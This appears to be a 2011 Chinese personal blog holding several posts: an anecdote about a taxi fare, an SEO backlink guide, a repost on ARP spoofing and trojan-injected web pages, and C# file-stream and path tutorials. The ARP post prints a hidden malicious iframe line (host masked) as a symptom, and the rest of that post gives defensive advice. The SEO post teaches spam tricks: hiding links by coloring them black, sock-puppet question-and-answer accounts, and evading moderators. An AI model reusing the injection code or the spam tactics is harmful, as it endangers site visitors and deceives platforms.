雪狼领地

我有没有欠你五块钱

329084470@qq.com(ceiling) — Fri, 04 Mar 2011 06:29:21 GMT

有一位影剧界的朋友告诉我一个生活小插曲

某次录影她打无线电计程车回家，

下车时计费表上显示的是一百八十元，

她拿出两百元给司机，

司机默默的收了。

以台北市的计费标准，

表上加十五元等於车费，

她稍微等了一下，

以为司机会找五元给她，

但司机一点动静也没有，

她想，算了，才五元嘛，

就拉开车门下车了。

关上车门的那一刹那，

她才恍然想起自己是叫无线电车的，

按规矩需再加叫车费十元，

是她还欠司机五元才对。

於是她又敲敲前车窗，

赶紧把五元再递给司机。

司机冷冷的摇下前车窗来，

说：「哼，亏你想到了，

不然我还以为，

连你这样一个名人，也想贪我五块钱的~~小便宜！」

虽然误会是化解了，

但我这个朋友心里老大不舒服，

她说：「他为什麽不直接告诉我，我少给了他五元呢？」

在日常生活中微不足道的五元，

在这给了我们一个启示：

是不是有些时候，

我们像那个司机一样，

无声的在忍耐着某个人的作为，

而事实上，

我们的沈默反而误解那个无辜的人，

让他根本不知道哪里得罪了你？

你心里因为这样不舒服，

他的名誉也因而受损。

为什麽你不说出口呢？

很多类似这种「五块钱」的问题

影响了我们的朋友情谊、爱情品质、人际关系，

甚至人的情感

婆嫌媳妇洗的碗不乾净，

怕变成坏婆婆，隐忍不说，

自行把媳妇洗过的碗再洗一遍──

媳妇当然老大不高兴。

觉得媳妇的菜不顺口，

硬把每餐揽来自己弄，

背地里又感到自己好委屈。

办公室亦然，

你虽然喜欢助人，

但因别人搞不清楚你「助人」的尺度为何，

常做出你认为过份的要求，

你默默做了，

却咬牙切齿在心里，

在别的同事面前对他表示不屑，

也是常有的办公室情事。

忍，不一定都是美德。

除非你忍了就忘了，

但有几人能够呢？

我们想认亏了事，

不愿表达自己的看法，

但在无意间，

我们却以成见，

伤害了彼此的关系，

或无辜者的名誉!。

「不知者无罪」，

如果对方并不知道他哪里得罪你，

你的忍耐，

只会造成他受损而已。

忍耐人的时候，

脸色通常很难好看，

如果你忍耐的对象是自己很亲密的人，

他的情绪和你们的关系，一定受损得更厉害！！

有话不妨直说吧！我有没有欠大家五块钱。

经验之谈：教你如何发外链

329084470@qq.com(ceiling) — Fri, 04 Mar 2011 02:22:58 GMT

新站如何发外链，是一个比较头疼的问题，如何最好最有效的发外链，这个问题值得SEO从业者和站长们不断地思考。发链接主要是应对那些删链接的人，自古以来正邪不两立，而在发网站外链的过程中就表现为，发外链与删外链这一邪一正之间的对立，为什么这样说呢?因为发外链大多数时候是发的垃圾文章，就像白色垃圾一样到处污染环境，谁都不想自家门口有大量的垃圾存在，所以就要删连接，而删连接就相当于清理垃圾还我们一个干净的网络。减肥网和大家分享一下发外链的各种方法：
适当购买多类型网站外链
很多站长对于外链第一反应就是友情链接。当然，这也是最持久，最有效的方法。很多站长为了节约成本，与别人交换友情链接，其实这个方法见效很慢。因为大多数友链交换都是平等交换，这样权重对等，可能蜘蛛认为对方还不如你呢。所以我建议少量的投入一些，买友情链接，因为这样是单向链接，并且对方权重大多比你高。效果是换友链的十倍!我的经验是不需要投太大，一个月投入100-200元，批量买几个PR高的外链就好。
当然买外链是无底洞，你不能过一阵以后就不投入了，可能心里不踏实，其实不然，你努力做好优化和外链，没多久你的PR值就会和你卖的单链网站一样高，这时候你就可以和他们对等交换了。而且你也可以向外卖单链哦，一举两得。
接下来就是对方的网站类型，很多站长认为必须要和同类型网站交换友链或者买友链，其实这是一个误区。现在的搜索引擎对于外链来源网站类型，注重的是综合。也就是说，你不能总是同一类型的网站来给你带来外链。这里的建议是友链的部分其中40%是同类型网站，其他60%要遍布到其他各种类型的网站中，类型越杂越好。
暗渡陈仓，偷梁换柱的发外链
除了友情链接之外，就是论坛，以及博客，或者网站投稿方面的了。
1.论坛
(1)选择管理不是很严的论坛发外链
这个主要在于你用心的观察哪些论坛管理不严，一般有些论坛有广告区，基本上有广告区的论坛管的都不那么严，这样的论坛是我们可以放心大胆的发而不怕删除，比如阿里妈妈这样的论坛权重高，不会删锚文连接，是比较理想的发外链的地方。但是有些地方虽然有广告区却要求是同类广告才能通过，对待这样的论坛我们基本上采用把标题改成和他论坛同类的即可。
(2)对要求审核的论坛如何发外链
一般来说我们建设外链都希望找个权重比较高的论坛发连接，而权重比较高质量又比较好的论坛，一般都管的比较严，要通过审核后才能显示，对待这类论坛我们采用偷梁换柱的办法，怎么个换柱法呢？因为管理员一般不会去看源代码而只会看一下内容有没有违法，有没有广告的嫌疑和检测有没有外链，这就给了我们一个缺口，我们可以把我们的文章伪装成正常的文章，再在文章中偷偷藏上我们的链接锚文，而这个隐藏有几种技巧我分别举例来说。
比如我常去新浪网发贴，那里审核比较严，虽然你开始可以发，但是过不了多久你再去看你的贴子没了，你的外链也就掉了，所以我们在发外链的时候需要处理一下把文章和外链关键字充分融合，比如我经常发的去痘印的主题，那么我会去其他比较出名的大网站复制他们的去痘印文章然后发贴，把关键字链接的颜色改成黑色即可。
(3)论坛签名和发贴量控制
我的注会之家就是通过论坛的签名档来提高我网站的权重的，我在中华会计网校论坛的签名档里放上注会之家关键字超链接，由于我是版主，每天都有数量相当的回贴，给我的网站带来了很高的权重，现在PR值也已经升到了3.
这里需要注意的是发帖量的控制，我建议准备10个左右这样的权重高的论坛，其中可以有三四个同类型的。每天这个ID发贴的数量一定要相当，每个论坛每个ID带来一两个外链就足够。因为这个很难控制，如果你用这个ID，见贴就顶，很可能每天给你带来的外链太多，而且数量不定，造成搜索引擎给你的网站降权。
2.知道、贴吧、问问发外链
现在很多网站都爱放一个类似于百度知道的程序，一般的那类网站管的不是很严，可以随便发外链地址，但是唯一的缺陷就是你提问题的时候不能加锚文本。那么怎么解决呢？经过我的观察发现一般回答的时候可以加锚文，那么我们注册2个账号，一个账号专门提问题，另一个账号马上回答那个问题，然后加上外链，这样带锚文的外链也就有了。
百度知道和百度贴吧管理得比较严，但是也有办法。百度知道我们可以去提问题，虽然不可以加关键字链接，但是可以直接输入网址，这样也可以吸引蜘蛛，对于新站的收录还是有帮助的；百度贴吧可以这样发链接：首先是去百度搜索自己的域名，然后将地址栏的地址复制下来，类似：http://www.baidu.com/s?wd=www.geekseo.net，然后随便找个贴吧的贴子跟贴，带上这个链接，每天发10-20个这样的贴子，被删的几率会小很多，这主要的目的还是吸引收录。
另外，推荐百度贴吧和soso问问者两个平台，它们不需要审核就可以直接发出来，节约了不少时间。关于百度贴吧和搜搜问问我建议只找同类型的圈子里发贴，比如我的网站是数码相机排行榜，我就可以去百度的数码相机吧，摄影吧或者同类型的贴吧来做外链；汽车用品类的就可以在汽车改装，汽车配件，或者各种品牌汽车的车友会贴吧里做，而且做外链也是有学问的，你不能上来就发广告，这样会引起别人反感。你可以试着找到别人的求助或者作业，然后把自己网站发的原创里已经被搜索引擎收录的文章贴出来，后面带上你的链接，这样可以带来很多流量。
3.网站投稿
每天一篇软文发表在A5上，并且要注重软文质量，这样会给你带来源源不断的外链，也会让你在一个月后收到意想不到的效果。
4.博客
养三四个博客，或者认识几个权重高的博客的博主，在他们博客里做友情链接，然后把你在A5发表的文章COPY过来一份发在自己博客上，我建议是类似于博客园这样每篇文章都会上首页的博客来做。
终极必杀技
最后就是我的终极必杀了！在你的外链和收录都稳定以后，就开始使用这个终极必杀，那就是找到同类型里头排名很好的站点，然后去查他们的外链，他们在哪里做外链，你就在哪里做！比如他在论坛上发表一篇软文文章，你就可以回贴同意他说的话，用你的网站域名补充他所说的，具体等往后有机会再详细讲解。这样最大程度解决了你不知道在哪里做外链这个头痛的问题。希望我写的对新丁站长有所帮助，欢迎一起讨论共同提高！

arp欺骗,网页被挂马怎么办网站网页全被放了木马但打开文件发现却没被改动过

329084470@qq.com(ceiling) — Thu, 03 Mar 2011 10:02:50 GMT

　　网站网页全被放了木马但打开文件发现却没被改动过
我今天上我的网站发现，所有页面都被加了木马，代码是在页头加了<iframe src=http://****.com/admin/a.htm width=20 height=0 frameborder=0></iframe>，不止这个，服务器上的所有网站都一样，但我上了服务器后却发现网页文件没改动过，里面也没有这行代码，这可怎么处理，想删除都不知道上哪删？急，求助各位高手

【参考分析】
这种情况，一般是因为服务器遭受到arp攻击（arp欺骗）。

饱受ARP攻击和挂马网页自动下载木马之苦的朋友们进来看

“木马猛于虎也”，这句话用在现在的网民（包括我这样的老菜鸟）身上真是再贴切不过了，经常发现有程序会自动下载病毒和木马程序，却无可奈何，或者经常遇到ARP攻击也束手无策。不过最近在浏览金山毒霸工作人员铁军的博客时候却有了可喜发现，好东西要分享给大家o(∩_∩)o…，请大家看下面的内容，有些长，但是绝对有效，看完了别忘了顶帖哦o(∩_∩)o

下面的内容是在金山毒霸的铁军的blog里面摘抄的，对ARP病毒攻击和Risk.exploit.ani病毒的处理给了很好的解决建议，我转载出来大家参考下：

最近用户咨询Risk.exploit.ani病毒的问题比较多，该病毒是利用微软MS07-017中的动态光标处理漏洞的畸形ANI文件，被某些已经挂载木马的网页自动下载。当用户的浏览器打开带有相关恶意代码的网页，将畸形ANI文件下载到本机临时文件夹中时，这时，毒霸的实时防毒和网页监控会进行报警，由于该文件被IE占用，所以某些情况下毒霸是无法立即删除的。但是毒霸已经专门针对此病毒进行了免疫处理，用户即时没有安装相关漏洞补丁，只要启用毒霸监控，也不会中毒。并且，针对这些文件，毒霸还进行了延迟删除处理，在下次重启系统时，这些被锁定的文件会被自动，下载的畸形ANI文件将不起作用，也就不会通过ANI漏洞去下载真正的病毒木马了。

有两种情况，需要注意：

1.对于病毒本身而言，清除是简单的，关闭浏览器，然后清空IE临时文件夹，补丁编号MS07-017 KB912919，详细情况见http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx ，如果是本机感染病毒，可以根据日志提取样本。

2.局域网其他计算机感染病毒进行会话劫持攻击，最近的咨询也比较多，上面的处理方法就无效了。因为病毒本来不一定在当前这台客户机上。某些病毒或者木马利用ARP欺骗等手段，在用户收到的网络数据包中自动插入i-frame-X代码，代码指向利用MS07-017漏洞的网址。使得中毒用户，以及局域网中受到此中毒电脑的欺骗攻击的用户，在上任意网站的时候都会提示存在该病毒。通俗点说，就是局域网某个计算机感染病毒或者木马，该病毒发送arp欺骗，然后在所有的网页访问的tcp数据中插入一段i-frame-X代码，只要网内的计算机通过网关上网，所有的网页都会跳转到i-frame-X制定的网页，该网页是存在畸形ANI文件，所以毒霸会不断的报警。显示的Risk.exploit.ani只不过是一种表现，就像木马下载器和木马，其原理和功能有天壤之别。对于该类情况，也比较容易判断，如果是局域网用户，一般其他的电脑也存在该问题，而且是访问任意网站都会存在该提示。由于不是本机感染病毒，所有对该计算机进行杀毒，扫描提取样本可能都是无效的。用户需要找到的是发送arp欺骗，从而导致出现该现象的机器，这个需要网管抓包来分析，用户个人是无法完成的。当然无论如何，首要解决的是安装补丁。而对于第二种情况，也就是现在局域网中感染ARP 病毒的情况，由于此种现象目前非常普遍，清理和防范都比较困难，给不少的网络管理员造成了很多的困扰。下面就是处理这个病毒的一些参考方法，供大家参考：

ARP 病毒的症状：

有时候无法正常上网，有时候有好了，包括访问网上邻居也是如此，拷贝文件无法完成，出现错误；局域网内的ARP 包爆增，使用Arp 查询的时候会发现不正常的Mac 地址，或者是错误的Mac 地址对应，还有就是一个Mac 地址对应多个IP 的情况也会有出现。

ARP 攻击的原理：

ARP 欺骗攻击的包一般有以下两个特点，满足之一可视为攻击包报警:第一以太网数据包头的源地址、目标地址和ARP 数据包的协议地址不匹配。或者，ARP数据包的发送和目标地址不在自己网络网卡MAC 数据库内，或者与自己网络MAC 数据库MAC/IP 不匹配。这些统统第一时间报警，查这些数据包(以太网数据包)的源地址(也有可能伪造)，就大致知道那台机器在发起攻击了。现在有网络管理工具比如网络执法官、P2P 终结者也会使用同样的方式来伪装成网关，欺骗客户端对网关的访问，也就是会获取发到网关的流量，从而实现网络流量管理和网络监控等功能，同时也会对网络管理带来潜在的危害，就是可以很容易的获取用户的密码等相关信息。

处理办法：

通用的处理流程：

1 .先保证网络正常运行

方法一：编辑个***.bat 文件内容如下：

arp.exe s
**.**.**.**（网关ip） ****
**
**
**
**（网关mac 地址）
end

让网络用户点击就可以了!

办法二：编辑一个注册表问题，键值如下：

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"mac"="arp s

网关IP 地址网关Mac 地址"
然后保存成Reg 文件以后在每个客户端上点击导入注册表。

2 找到感染ARP 病毒的机器。

a：在电脑上ping 一下网关的IP 地址，然后使用ARP －a 的命令看得到的网关对应的MAC 地址是否与实际情况相符，如不符，可去查找与该MAC 地址对应的电脑。

b：使用抓包工具，分析所得到的ARP 数据报。有些ARP 病毒是会把通往网关的路径指向自己，有些是发出虚假ARP 回应包来混淆网络通信。第一种处理比较容易，第二种处理比较困难，如果杀毒软件不能正确识别病毒的话，往往需要手工查找感染病毒的电脑和手工处理病毒，比较困难。

c：使用mac 地址扫描工具，nbtscan 扫描全网段IP 地址和MAC 地址对应表，有助于判断感染ARP 病毒对应MAC 地址和IP 地址。

预防措施：

1，及时升级客户端的操作系统和应用程式补丁；
2，安装和更新杀毒软件。
4，如果网络规模较少，尽量使用手动指定IP 设置，而不是使用DHCP 来分配IP 地址。
5，如果交换机支持，在交换机上绑定MAC 地址与IP 地址。（不过这个实在不是好主意）

还有，使用金山毒霸的朋友要升级病毒库，可以很好的进行防范；此外也可以下载金山专杀工具，进行病毒的扫描查杀，效果也不错，最主要的工具是免费的，呵呵。可以来这里下载相应的工具：http://www.0734link.com/

Ps：我不是金山的枪手，但是我愿意去做金山毒霸的宣传者，金山毒霸其实一直在真正为用户着想，去努力，这种精神和态度是值得肯定的。至少看他们的文章和博客还是很让我感动的，呵呵

-----------------------------------------------------

服务器被ARP攻击，网站被挂马
今天凌晨一打开自己的网站，卡巴就弹出来说有病毒，报告为“恶意程序 Exploit.Win32.IMG-ANI.k 文件: F:\Documents and Settings\*****\Local Settings\Temporary Internet Files\Content.IE5\DF7VHPOE\love[1].jpg”，然后网页显示的也有问题，最上方居然裸露出来了一小段源码，于是马上查看源码，发现代码居然被改了。

最上面变成了：

我的第一反应就是网站被人挂马了，首先想到的是不是程序有漏洞，被人传了木马，赶紧用FTP连上，检查ASP文件，发现所有的ASP文件都没有是今天修改过的，模板系统也没有问题，这下我真的不知道怎么办了。都搞不清楚问题出在哪里。。。。

然后我对挂马的这个网站来了兴趣，在百度里一搜“21575”，

http://www.baidu.com/s?word=domain:21575&ie=gb2312&ct=0

发现有一条的结果的标题是“服务器被ARP欺骗，大家请不要访问我的站”，看了一下那条帖子，然后又联想到昨天下午收到了IDC的短信，提醒说最近ARP病毒泛滥，于是我马上就想到应该是受到ARP攻击了。

下午我还去IDC的网站上看了一下，有一篇关于防范ARP攻击的公告，还提供了ARP防范工具下载，赶紧下了，然后安装。

这个软件是ARP防火墙（Anti ARP Sniffer），下载地址：http://www.antiarp.com/newsopen2.asp?ArticleID=24

官网：http://www.antiarp.com/

刚装上以后ARP防火墙启动不了，于是重启服务器，顺利启动了，然后就看到ARP防火墙提示受到ARP攻击了，还能跟踪到攻击的来源IP。

装上ARP防火墙以后，再访问网站，一切正常。

MUD，看来ARP攻击才是最高明的攻击方法嘛，MUD

ARP攻击的先进性就好比DNS劫持一样，处于最上层。网页实际的文件并没有改变，但是发送给浏览器以后就变了样了，被病毒给改了。

C#IO文件读写和流

329084470@qq.com(ceiling) — Wed, 02 Mar 2011 16:18:04 GMT

一流的概念
在.NET中Stream 是所有流的抽象基类。流是字节序列的抽象概念，或者说是计算机在处理文件或数据时产生的二进制序列。例如文件、输入/输出设备、内部进程通信管道或者 TCP/IP 套接字。Stream 类及其派生类提供这些不同类型的输入和输出的一般视图，使程序员不必了解操作系统和基础设备的具体细节。简单的说流提供了不同介质之间的数据交互功能。

在.NET中常用的流有BufferedStream 、FileStream、MemoryStream

和NetworkStream，他们都是位于System.IO和System.Net命名空间下。流涉及三个基本操作：读取，写入和查找。根据基础数据源或储存库，流可能只支持这些功能中的一部分。有些流实现执行基础数据的本地缓冲以提高性能。对于这样的流，Flush 方法可用于清除所有内部缓冲区并确保将所有数据写入基础数据源或储存库。

二文件读写
对于文件的读写，实际是把硬盘中的数据读入内存和把内存的数据写入硬盘，他们数据之间的交换就是通过流来完成的。在.NET中这个功能是由FileStream类完成的。他提供的Write和Read方法可以对文件进行读写操作。

1：FileStream读写文件
使用 FileStream 类对文件系统上的文件进行读取、写入、打开和关闭操作，并对其他与文件相关的操作系统句柄进行操作，如管道、标准输入和标准输出。读写操作可以指定为同步或异步操作。FileStream 对输入输出进行缓冲，从而提高性能。

view plaincopy to clipboardprint?
static void Main(string[] args)
{
try
{
      FileStream fs = new FileStream(@"c:\text.txt", FileMode.Create);
      string message = "This is example for filestream";
      byte[] writeMesaage = Encoding.UTF8.GetBytes(message);
      fs.Write(writeMesaage, 0, writeMesaage.Length);
}
catch (Exception ex)
{
      Console.WriteLine(ex.Message);
}
finally
{
      Console.ReadKey();
}
}
static void Main(string[] args)
{
try
{
      FileStream fs = new FileStream(@"c:\text.txt", FileMode.Create);
      string message = "This is example for filestream";
      byte[] writeMesaage = Encoding.UTF8.GetBytes(message);
      fs.Write(writeMesaage, 0, writeMesaage.Length);
}
catch (Exception ex)
{
      Console.WriteLine(ex.Message);
}
finally
{
      Console.ReadKey();
}
}

上面是一个简单的例子，把一条字符串写入到文件中。首先建立一个FileStream对象，指定文件和读写方式（具体读写方式和权限可以参加MSDN）。接下来把要写入的字符串以一定的编码格式存入一个字节数组中，然后调用Writer方法写入文件。运行程序，当程序执行到Console.ReadKey方法时去查看文件发现文件中内容是空的。也就是说调用Writer方法后内容并没有被写入到文件中。

这里就要谈到流中的缓冲区的问题了。缓冲区是为了提高I/O效率而设置的，我们知道读写的I/O操作是很费时的，如果每一个字节都马上写入到文件中整个过程就会很慢，所以设置缓冲区，写把要写入的内容写入到缓冲区中，然后在一次性写入到文件中，来提高写入的效率和速度。而Write方法实际上只是把数据写入到流的缓冲区中，而不是真正的写入到文件中。所以调用Writer方法并不能完成文件的写入。于是FileStream对象提供了一个把缓冲区写入文件的方法，那就是Flush方法。

Flush：清除该流的所有缓冲区会使得所有缓冲的数据都将写入到文件系统。这是MSDN给出的定义，可以看到，只有调用了Flush方法后数据才会被真正的写入到文件中。所以这里就又另外一个问题，那就是可能存在写入失败。比如上面在Writer方法结束后发生了异常，那么数据就无法写入到文件中了。所以我们在调用Writer方法后可以显式的调用Flush方法来把数据写入到文件中。但是上面的方法结束后又会发现数据被写入了。其实这是因为在程序结束时，销毁FileStream对象时，系统自动调用了Flush方法来保证内容被写入到文件中。而在FileStream对象中，很多地方都调用了这个方法，比如Close方法和Dispose方法。所以在程序中，调用这2个方法销毁对象时也会把数据从缓冲区写入文件。所以使用FileStream对象Writer方法后只要不抛出异常，缓冲区数据总会被写入文件（当然也可能因为磁盘已满而在写入是抛出异常）。但是我们最好还是显示的调用Close方法或使用using块关闭对象，使数据写入。或是调用Flush方法。Flush方法内部调用API的internal static extern unsafe int WriteFile方法实现文件写入。

对于读取文件内容也是类似的，要先把数据读取到字节数组中。而且还提供了BeginRead和BeginWrite方法进行异步读写操作。

2 StreamWriter写文件
上面的FileStream操作文件读写，每次都需要使用字节数组，因为FileStream操作对象是字节。而.NET提供了StreamWriter和StreamReader对象来对流进行读写操作。

他的构造函数可以接受一个Stream对象。从而对流进行操作。他们的内部有个一Stream对象来维护传入的各种流对象。并且也提供了Write和Read方法。实际上这2个类是对流读写的的一个包装，方便我们使用。当我们传一个流对象时，调用读写方法是，实际调用该对象自己重写的方法。而当我们在构造函数中传入的是文件路径时，他就成为了对文件读写的操作。因为他在内部构建了一个FileStream对象，并交给内部的Stream对象维护。

view plaincopy to clipboardprint?
public StreamWriter(string path) : this(path, false, UTF8NoBOM, 0x400)
{
}


public StreamWriter(string path, bool append, Encoding encoding, int bufferSize) : base(null)
{
if ((path == null) || (encoding == null))
{
      throw new ArgumentNullException((path == null) ? "path" : "encoding");
}
if (bufferSize <= 0)
{
      throw new ArgumentOutOfRangeException("bufferSize", Environment.GetResourceString("ArgumentOutOfRange_NeedPosNum"));
}
Stream stream = CreateFile(path, append);
this.Init(stream, encoding, bufferSize);
}


private static Stream CreateFile(string path, bool append)
{
return new FileStream(path, append ? FileMode.Append : FileMode.Create, FileAccess.Write, FileShare.Read, 0x1000, FileOptions.SequentialScan);
}
public StreamWriter(string path) : this(path, false, UTF8NoBOM, 0x400)
{
}

public StreamWriter(string path, bool append, Encoding encoding, int bufferSize) : base(null)
{
if ((path == null) || (encoding == null))
{
      throw new ArgumentNullException((path == null) ? "path" : "encoding");
}
if (bufferSize <= 0)
{
      throw new ArgumentOutOfRangeException("bufferSize", Environment.GetResourceString("ArgumentOutOfRange_NeedPosNum"));
}
Stream stream = CreateFile(path, append);
this.Init(stream, encoding, bufferSize);
}

private static Stream CreateFile(string path, bool append)
{
return new FileStream(path, append ? FileMode.Append : FileMode.Create, FileAccess.Write, FileShare.Read, 0x1000, FileOptions.SequentialScan);
}

通过上面的代码，可以看到我们使用 public StreamWriter(string path)构造方法和我们自己新建一个FileStream对象传递给StreamWriter(Stream)构造方法是一样的。不同的是后者还可对其他继承与Stream的流进行操作。而且可以指定文件读取的方式和访问权限以及缓冲区大小。

view plaincopy to clipboardprint?
static void Main(string[] args)
{
try
{
      StreamWriter sw = new StreamWriter(@"c:\text.txt");
      sw.Write("This is StreamWriter");
}
catch (Exception ex)
{
      Console.WriteLine(ex.Message);
}
finally
{
      Console.ReadKey();
}
}
static void Main(string[] args)
{
try
{
      StreamWriter sw = new StreamWriter(@"c:\text.txt");
      sw.Write("This is StreamWriter");
}
catch (Exception ex)
{
      Console.WriteLine(ex.Message);
}
finally
{
      Console.ReadKey();
}
}

上面的代码是使用StreamWriter对文件进行写操作，当执行到ReadKey时，我们发现文件没有被写入，这个和FileStream是一样的，但是当程序执行完后我们发现，数据还是没有被写入。如果我们写入的数据量比较大时，数据也被写入到文件中，但是会发现写入的数据可能并不完整。因为只有当StreamWriter内部的缓冲区充满或调用Flush时，才会把数据写入Stream对象中。StreamWriter 未将最后 1 至 4 KB 数据写到文件。后面会具体解释。

MSDN中对此的解释是：

StreamWriter 在内部缓冲数据，这需要调用 Close 或 Flush 方法将缓冲数据写到基础数据存储区。如果没有适当地调用 Close 或 Flush，StreamWriter 实例中缓冲的数据可能不会按预期写出。

在StreamWriter中也有Flush方法，清理当前编写器的所有缓冲区，并使所有缓冲数据写入基础流。对于StreamWriter来说，也有自己的缓冲区，而不同的是StreamWriter缓冲区是char[]而不是byte[]。而StreamWriter的write方法只是把数据写入到自己的缓冲区中，所以我们必须条用Flush方法来写入到文件中，而Flush方法中则是先调用了FileStream的write方法把StreamWriter缓冲区的数据写入到FileStream的缓冲区中，最后在调用FileStream的Flush方法写入文件。

view plaincopy to clipboardprint?
//StreamWriter.write把数据写入StreamWriter缓冲区中
public override void Write(string value)
{
if (value != null)
{
      int length = value.Length;
      int sourceIndex = 0;
      while (length > 0)
      {
         if (this.charPos == this.charLen)
         {
            this.Flush(false, false);
         }
         int count = this.charLen - this.charPos;
         if (count > length)
         {
            count = length;
         }
         value.CopyTo(sourceIndex, this.charBuffer, this.charPos, count);
         this.charPos += count;
         sourceIndex += count;
         length -= count;
      }
      if (this.autoFlush)
      {
         this.Flush(true, false);
      }
}
}

//StreamWriter.Flush把StreamWriter缓冲区内容写入Stream的缓冲区
private void Flush(bool flushStream, bool flushEncoder)
{
if (this.stream == null)
{
      __Error.WriterClosed();
}
if (((this.charPos != 0) || flushStream) || flushEncoder)
{
      if (!this.haveWrittenPreamble)
      {
         this.haveWrittenPreamble = true;
         byte[] preamble = this.encoding.GetPreamble();
         if (preamble.Length > 0)
         {
            this.stream.Write(preamble, 0, preamble.Length);
         }
      }
      int count = this.encoder.GetBytes(this.charBuffer, 0, this.charPos, this.byteBuffer, 0, flushEncoder);
      this.charPos = 0;
      if (count > 0)
      {
         this.stream.Write(this.byteBuffer, 0, count);
      }
      if (flushStream)
      {
         this.stream.Flush();
      }
}
}
//StreamWriter.write把数据写入StreamWriter缓冲区中
public override void Write(string value)
{
if (value != null)
{
      int length = value.Length;
      int sourceIndex = 0;
      while (length > 0)
      {
         if (this.charPos == this.charLen)
         {
            this.Flush(false, false);
         }
         int count = this.charLen - this.charPos;
         if (count > length)
         {
            count = length;
         }
         value.CopyTo(sourceIndex, this.charBuffer, this.charPos, count);
         this.charPos += count;
         sourceIndex += count;
         length -= count;
      }
      if (this.autoFlush)
      {
         this.Flush(true, false);
      }
}
}

//StreamWriter.Flush把StreamWriter缓冲区内容写入Stream的缓冲区
private void Flush(bool flushStream, bool flushEncoder)
{
if (this.stream == null)
{
      __Error.WriterClosed();
}
if (((this.charPos != 0) || flushStream) || flushEncoder)
{
      if (!this.haveWrittenPreamble)
      {
         this.haveWrittenPreamble = true;
         byte[] preamble = this.encoding.GetPreamble();
         if (preamble.Length > 0)
         {
            this.stream.Write(preamble, 0, preamble.Length);
         }
      }
      int count = this.encoder.GetBytes(this.charBuffer, 0, this.charPos, this.byteBuffer, 0, flushEncoder);
      this.charPos = 0;
      if (count > 0)
      {
         this.stream.Write(this.byteBuffer, 0, count);
      }
      if (flushStream)
      {
         this.stream.Flush();
      }
}
}

通过上面的代码可以明白，真正完成写入文件的也是Flush方法，因为它的工作是调用了FileStream的write和flush方法。而在StreamWriter的Close和Dispose的方法中则是调用了StreamWriter的Flush方法写入文件，然后用FileStream.Close方法关闭流。

所以在关闭具有 StreamWriter 的实例的应用程序或任何代码块之前，确保调用 StreamWriter 的 Close 或 Flush。达到此目的的最佳机制之一是用 C# using 块创建该实例，这样将确保调用编写器的 Dispose 方法，从而正确关闭该实例。另外在StreamWriter中有一个AutoFlush属性，如果设置为True，则在调用writer方法后会自动调用Flush方法。

3 FileStream和StreamWriter的依赖关系
如果我们使用public StreamWriter(string path)构造方法不会存在这个问题，因为FileStrem对象是内部控制的，如果我们用StreamWriter(Stream)构造方法就可能存在一些问题。

view plaincopy to clipboardprint?
static void Main(string[] args)
{
FileStream fs = null；
      StreamWriter sw = null；
try
{
      fs = new FileStream(@"c:\text.txt", FileMode.Create);
      sw = new StreamWriter(fs);
      string message = "This is StreamWriter\r\n";
      for (int i = 0; i < 10; i++)
      {
         message += message;
      }
      sw.Write(message);
}
catch (Exception ex)
{
      Console.WriteLine(ex.Message);
}
finally
{
      fs.Close();
      sw.Close();
      Console.ReadKey();
}
}
static void Main(string[] args)
{
FileStream fs = null；
      StreamWriter sw = null；
try
{
      fs = new FileStream(@"c:\text.txt", FileMode.Create);
      sw = new StreamWriter(fs);
      string message = "This is StreamWriter\r\n";
      for (int i = 0; i < 10; i++)
      {
         message += message;
      }
      sw.Write(message);
}
catch (Exception ex)
{
      Console.WriteLine(ex.Message);
}
finally
{
      fs.Close();
      sw.Close();
      Console.ReadKey();
}
}

执行上面的代码的时候会出现Dispose异常，无法访问已经关闭的文件。这是因为我们先关闭了文件流，然后在关闭StreamWriter对象。而StreamWriter对象的Close方法实际是关闭当前的 StreamWriter 对象和基础流。也就是说我们只需调用这一个方法就可以了。而如果在数据写入前调用了FileStream的Close方法，那么数据最终是无法写入的，还会引发异常。所以在写入文件时，最好只调用StreamWriter对象的Close方法就行了。

上面说过了没有调用Close方法导致部分数据没有写入，这是因垃圾回收造成的。当我们调用完write方法后，没有调用close，系统发现StreamWriter和FileStream对象不可达，会对他们进行终结操作，但是终结的顺序是不确定的。如果先关闭了FileStream会出现数据无法写入。微软为了避免这种情况，就不让StreamWriter方法实现Finalize方法，这样，在程序结束时，没有执行StreamWriter的Finalize方法，也就无法把缓冲区的数据写入FileStream中。而FileStream内部实现了Finalize方法。这也就是为什么FileStream不关闭仍然可以把数据写入文件。所以在使用StreamWriter对象时不显调用Close方法时，缓冲区的数据一定会丢失。

而且WriterStream的内部缓冲区填满后会自动写入到Stream流中。所以当我们写入的数据很少时，不够填充满数据缓冲区，而且不关闭对象，必然无法写入文件。而当我们写大量数据时，一部分数据在缓冲区满的时候被写入了Stream中，当我们不关闭对象，直接结束程序时，Stream会执行Finalize方法，把数据写入文件，而StreamWriter没有此方法，而且默认的缓冲区大小为4K。如果此时缓冲区中还有数据必定无法被写入，而且大小是1-4K。

3 BinaryWriter
BinaryWriter对象也可以用写文件，以二进制形式将基元类型写入流，并支持用特定的编码写入字符串。与StreamWriter不同的是，他不存在缓冲区丢失的问题。因为他每次调用Write方法以后说首先把数据写入自己的char[]数组，然后转换为指定编码的Byte[]数组，最后调用Stream的Write方法写入到流的缓冲区。

BinaryWriter对象也有Flush方法，但是只是简单的调用了Stream的Flush方法，而他的Close和Dispose方法则是调用了Stream的Close方法。和上面一样 BinaryWriter对象也没有实现Finalize方法，但是因为他没有把数据放到自己的缓冲区，每次都是立即写入到流中。所以即便不调用Flush方法或是显式关闭对象，最后也会全部被写入到文件中，因为数据全部在FileStream的缓冲区中，而程序结束时Finalize方法会调用Flush把数据写入文件。

c#当前应用程序路径

329084470@qq.com(ceiling) — Wed, 02 Mar 2011 04:20:34 GMT

应该算是出于对各种DOCK的烦躁（部分DOCK程序在启动程序时，会把当前路径指派为DOCK所在路径，当程序中使用相对路径时，路径对“相对”到DOCK的文件夹里），我在程序中大多使用绝对路径来定位文件方便后来者，在这里总结了下，也摘抄了点网上流传的以我的程序为例物理路径：

E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exeSystem.Environment.CurrentDirectory;
//很熟悉了,获取和设置当前目录（即该进程从中启动的目录）的完全限定路径。

//返回E:\c#学习\获取当前路径\获取当前路径\bin\Debug

System.AppDomain.CurrentDomain.BaseDirectory;

